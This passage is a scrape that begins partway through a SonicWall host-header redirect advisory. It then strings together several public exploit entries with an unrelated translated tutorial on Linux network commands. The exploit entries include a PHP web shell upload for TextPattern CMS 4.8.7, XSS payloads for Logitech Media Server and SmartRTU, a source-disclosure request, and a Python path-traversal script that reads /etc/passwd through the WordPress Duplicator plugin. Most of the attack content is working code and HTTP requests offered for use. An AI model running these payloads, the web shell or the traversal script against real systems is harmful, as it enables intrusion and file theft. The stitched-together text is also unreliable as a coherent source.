		var start = cookies.indexOf(' ' + key + '=');
		if (start == -1) {
			return null;
		}
		var end = cookies.indexOf(";", start);
		if (end == -1) {
			end = cookies.length;
		}
		end -= start;
		var cookie = cookies.substr(start,end);
		return unescape(cookie.substr(cookie.indexOf('=') + 1, cookie.length - cookie.indexOf('=') + 1));
	} else {
		return null;
	}
}
</script>

</head>
<body class="login_bg">
	<div class="login_outer">
		<div class="login_inner">
			<div class="vgap48"></div>
			<div class="login_logo">
				<img src="logo_sw.png">
			</div>
			<div class="login_prodname">
				Network Security Appliance
			</div>
			<div class="vgap48"></div>
			<div class="login_msg_header">
				Please be patient as you are being re-directed to <a href="https://fakedomain.com/auth.html" target="_top">a secure login page</a>
			</div>
			<div class="vgap24"></div>
		</div>
	</div>


</body>
</html>

The redirection is happening to https://fakedomain.com/auth.html.

*************************************************************************************************************************************
Attack Vector:
*************************************************************************************************************************************
Can be used for domain fronting.

curl -k --header "Host: attack.host.net" "Domain Name of the Sonicwall device"


*************************************************************************************************************************************
Vendor Response:
*************************************************************************************************************************************
Fix: SonicWall has fixed the issue in Gen6 firmware 6.5.4.8-89n (build is available in mysonicwall.com) -  fix is provided with a CLI option > configure > administration > enforce-http-host-check,  to avoid Host header redirection.
Workaround: Please disable port 80 to mitigate it and this issue affected all Gen6 firewall products.

https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0019
*************************************************************************************************************************************
            
# Exploit Title: TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated)
# Date: 2021/09/06
# Exploit Author: Mert Daş merterpreter@gmail.com
# Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web: https://textpattern.com/
# Tested on: Server: Xampp

First of all we should use file upload section to upload our shell.
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>

1) Go to content section .
2) Click Files and upload malicious php file.
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;

After upload our file , our request and response is like below :

Request:

GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 200 OK
Date: Thu, 10 Jun 2021 00:32:41 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8

pc\mertdas
            
# Exploit Title: Logitech Media Server 8.2.0 - 'Title' Cross-Site Scripting (XSS)
# Shodan Dork: Search Logitech Media Server
# Date: 12.10.2021
# Exploit Author: Mert Das
# Vendor Homepage: www.logitech.com
# Version: 8.2.0
# Tested on: Windows 10, Linux

POC:

1. Go to Settings / Interface tab
2. Add payload to Title section
3. Payload : "><img src=1 onerror=alert(1)>
4. Alert will popup
            

In this article, we will review some of the most commonly used Linux network management command tools and programs. And explain and explain these commands so that we can better grasp them.

01 ifconfig command

ifconfig is a command line interface tool for network interface configuration. It is also used to initialize the network card interface when the system is started, and can also be used to assign IP addresses to the interface and enable or disable the interface as needed. It is also used to view the IP address, hardware MAC address, and MTU (maximum transmission unit) size of the currently active interface.

Example

ifconfig ifconfig命令

To list all currently available interfaces, whether up or down, add the -a parameter afterwards.

ifconfig -a To assign an IP address to an interface, use the following command.

ifconfig eth0 192.168.56.5 netmask 255.255.255.0 activates the network interface.

ifconfig up wlan0 to deactivate or close the network interface

ifconfig down wlan0 Note: Although ifconfig is a great tool, it is now outdated (not recommended), and its alternative is the ip command explained below.

02 IP command

The ip command is another useful command line utility for displaying and operating routes, network devices, and interfaces. It is a replacement for ifconfig and many other network commands.

Example

ip addr show ip命令

Temporarily assign an IP address to a specific network interface (eth0)

ip addr add 192.168.56.1 dev eth0 To delete the assigned IP address from the network interface (eth0)

ip addr del 192.168.56.15/24 dev eth0 displays the current neighbor table in the kernel

ip neighbor 1caeggo0ag34441.jpg

03 ifup, ifdown and ifquery commands

ifup command activates the network interface so that it can be used to transmit and receive data.

The ifup eth0ifdown command disables the network interface, leaving it in a state where data cannot be transmitted or received.

The ifdown eth0ifquery command is used to parse the network interface configuration, allowing you to receive answers to queries about the current configuration method.

ifquery eth0

04 Ethtool command

ethtool is a command line utility for querying and modifying network interface controller parameters and device drivers. The following example shows the usage of ethtool and the command to view network interface parameters.

ethtool eth0 riocubhjkbn4443.jpg

05 Ping command

ping ( Packet INternet Groper ) is a utility that is commonly used to test the connectivity between two systems on a network (LAN) or wide area network (WAN). It uses ICMP (Internet Control Message Protocol) to communicate with nodes on the network.

For example, to test a connection to another node, simply provide its IP or hostname.

ping bbskali.cn You can also use the -c flag shown to tell ping to exit after the specified number of ECHO_REQUEST packets.

ping -c 6 bbskali.cn 1zk5afywv1v4451.jpg

06 Traceroute command

The Traceroute command is used to track the full path from the local system to another network system. It prints many hops (router IP) in the path you reach the final server. It is an easy-to-use network troubleshooting utility after ping commands.

In this example, we are tracking routing packets from the local system to the bbskali.cn server.

traceroute bbskali.cn 3rrkilmlkkt4452.jpg

07 MTR

MTR combines the functions of ping and traceroute into a diagnostic tool. By default, its output is updated in real time until you press Q to exit the program.

mtr bbskali.cn utegnnxpoyj4458.jpg

08 route command

route is used to display or manipulate the command line in the IP routing table of the Linux system. Static routing for configuring to a specific host or network through an interface.

route kahzoehmd5x4464.jpg

09 Nmcli command

Nmcli is an easy-to-use, scriptable command-line tool for reporting network status, managing network connections, and controlling NetworkManager.w0fjnedc3hn4466.jpg

View the current network connection

nmcli con show gtk1n0aeguj4467.jpg

10 Netstat command

netstat is a command line tool that displays useful information about Linux network subsystems, such as network connections, routing tables, interface statistics, and more. It is useful for network troubleshooting and performance analysis.

Additionally, it is a basic network service debugging tool for checking which programs are listening on which ports. For example, the following command will display all TCP ports in listening mode and the program being listened to.

netstat -tnlp view routing table

netstat -r oo00azsrawr4470.jpg

11 ss command

ss (socket statistics) counts TCP information and displays information similar to netstat. Additionally, it shows more TCP and status information than other similar utilities.

Show all TCP ports open on the server r03isnhqwlv4471.jpg

12 nc command

nc is called the "Network Swiss Army Knife" to use it as a simple TCP proxy for network daemon testing, checking whether remote ports are accessible, and so on. Additionally, you can use the nc and pv commands to transfer files between two computers.

Scan the port list

nc -zv bbskali.cn 21 22 80 443 3000 cigxbs01nao4473.jpg

13 Nmap

nmap can be said to be a very familiar tool for everyone, and there were many tutorials before. I won’t talk about it here!

Simple scan

nmap -T4 -A -O bbskali.cn

14 host

A simple utility for performing DNS lookups that convert hostnames to IP addresses and vice versa

host bbskali.cn

15 dig command

Used to query DNS related information, such as A Record, CNAME, MX Record, etc.

dig bbskali.cn t3gk5nqab0n4474.jpg

16 NSLookup command

Used to query DNS servers interactively and non-interactively. It is used to query DNS resource records (RR). As shown in the figure, you can find the "A" record (IP address) of the domain.

nslookup bbskali.cn zdkkxdddwm34475.jpg

17Tcpdump command

Tcpdump is a very powerful and widely used command line network sniffer. It is used to capture and analyze TCP/IP packets transmitted or received over a network on a specific interface.

For example, to obtain the data packet of the specified network card, you only need to add the -i parameter.

tcpdump -i eth0 You can also capture the packet and save it to a file for later analysis, specifying the output file using the -w flag.

tcpdump -w bbskali.cap -i wlan0 wzltu331ft54478.jpg

18 Wireshark

Wireshark is a popular, powerful, universal and easy tool for capturing and analyzing packets in a packet-switched network in real time.

You can also save the captured data to a file for later inspection. System administrators and network engineers use it to monitor and inspect packets for security and troubleshooting.5q5hnrzcuit4479.jpg

19 Bmon

bmon is a powerful, command line-based network monitoring and debugging utility for Unix-like systems that capture network-related statistics and visually display them in a humanized format.2rkco1j2epo4481.png

20 iptables firewall

iptables is a command line tool for configuring, maintaining, and checking table IP packet filtering and NAT rule sets. It is used to set up and manage Linux firewalls (Netfilters). It allows you to list existing packet filtering rules; add or delete or modify packet filtering rules; list each rule counter for packet filtering rules.

# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure
# Date: 2021-17-10
# Exploit Author: Hamit CİBO
# Vendor Homepage: https://www.inea.si
# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/
# Version: ME RTU
# Tested on: Windows
# CVE : CVE-2018-16060


# PoC
# Request

GET /web HTTP/1.1
Host: **.**.**.***
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)
Connection: close

# Response

HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 08:09:53 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Location: web.tar
Vary: negotiate
TCN: choice
Last-Modified: Wed, 19 Nov 2014 09:40:36 GMT
ETag: "93800-5083300f58d00;51179459a2c00"
Accept-Ranges: bytes
Content-Length: 604160
Connection: close
Content-Type: application/x-tar


Reference :

https://drive.google.com/open?id=1QMHwTnBbIqrTkR0NEpnTKssYdi8vRsHH
            
# Exploit Title: Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read
# Date: October 16, 2021
# Exploit Author: nam3lum
# Vendor Homepage: https://wordpress.org/plugins/duplicator/
# Software Link: https://downloads.wordpress.org/plugin/duplicator.1.3.26.zip]
# Version: 1.3.26
# Tested on: Ubuntu 16.04
# CVE : CVE-2020-11738

import requests as re
import sys

if len(sys.argv) != 3:
        print("Exploit made by nam3lum.")
        print("Usage: CVE-2020-11738.py http://192.168.168.167 /etc/passwd")
        exit()

arg = sys.argv[1]
file = sys.argv[2]

URL = arg + "/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../.." + file

output = re.get(url = URL)
print(output.text)
            
# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS)
# Date: 2021-17-10
# Exploit Author: Hamit CİBO
# Vendor Homepage: https://www.inea.si
# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/
# Version: ME RTU
# Tested on: Windows
# CVE : CVE-2018-16061


# PoC
# Request

POST
/login.php/srdzz'onmouseover%3d'alert(1)'style%3d'position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%
3btop%3a0%3bleft%3a0%3b'bsmy8 HTTP/1.1
Host: **.**.**.***
Content-Length: 132
Cache-Control: max-age=0
Origin: http://**.**.**.***
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/68.0.3440.84
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://**.**.**.***sss/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=el8pvccq5747u4qj9koio950l7
Connection: close

submitted=1&username=--
%3E%27%22%2F%3E%3C%2FsCript%3E%3CsvG+x%3D%22%3E%22+onload%3D%28co%5Cu006efirm%29%60%60&passw
ord=&Submit=Login

# Response

HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 08:14:25 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4
Vary: Accept-Encoding
Content-Length: 3573
Connection: close
Content-Type: text/html

<div id='fg_membersite' class='login_form'>
<form id='login' name='login'
action='/login.php/srdzz'onmouseover='alert(1)'style='position:absolute;width:100%;height:100%;top:0;left:0;'bsmy8'
method='post' accept-charset='UTF-8'>


Reference :

https://drive.google.com/file/d/1DEZQqfpIgcflY2cF6O0y7vtlWYe8Wjjv/view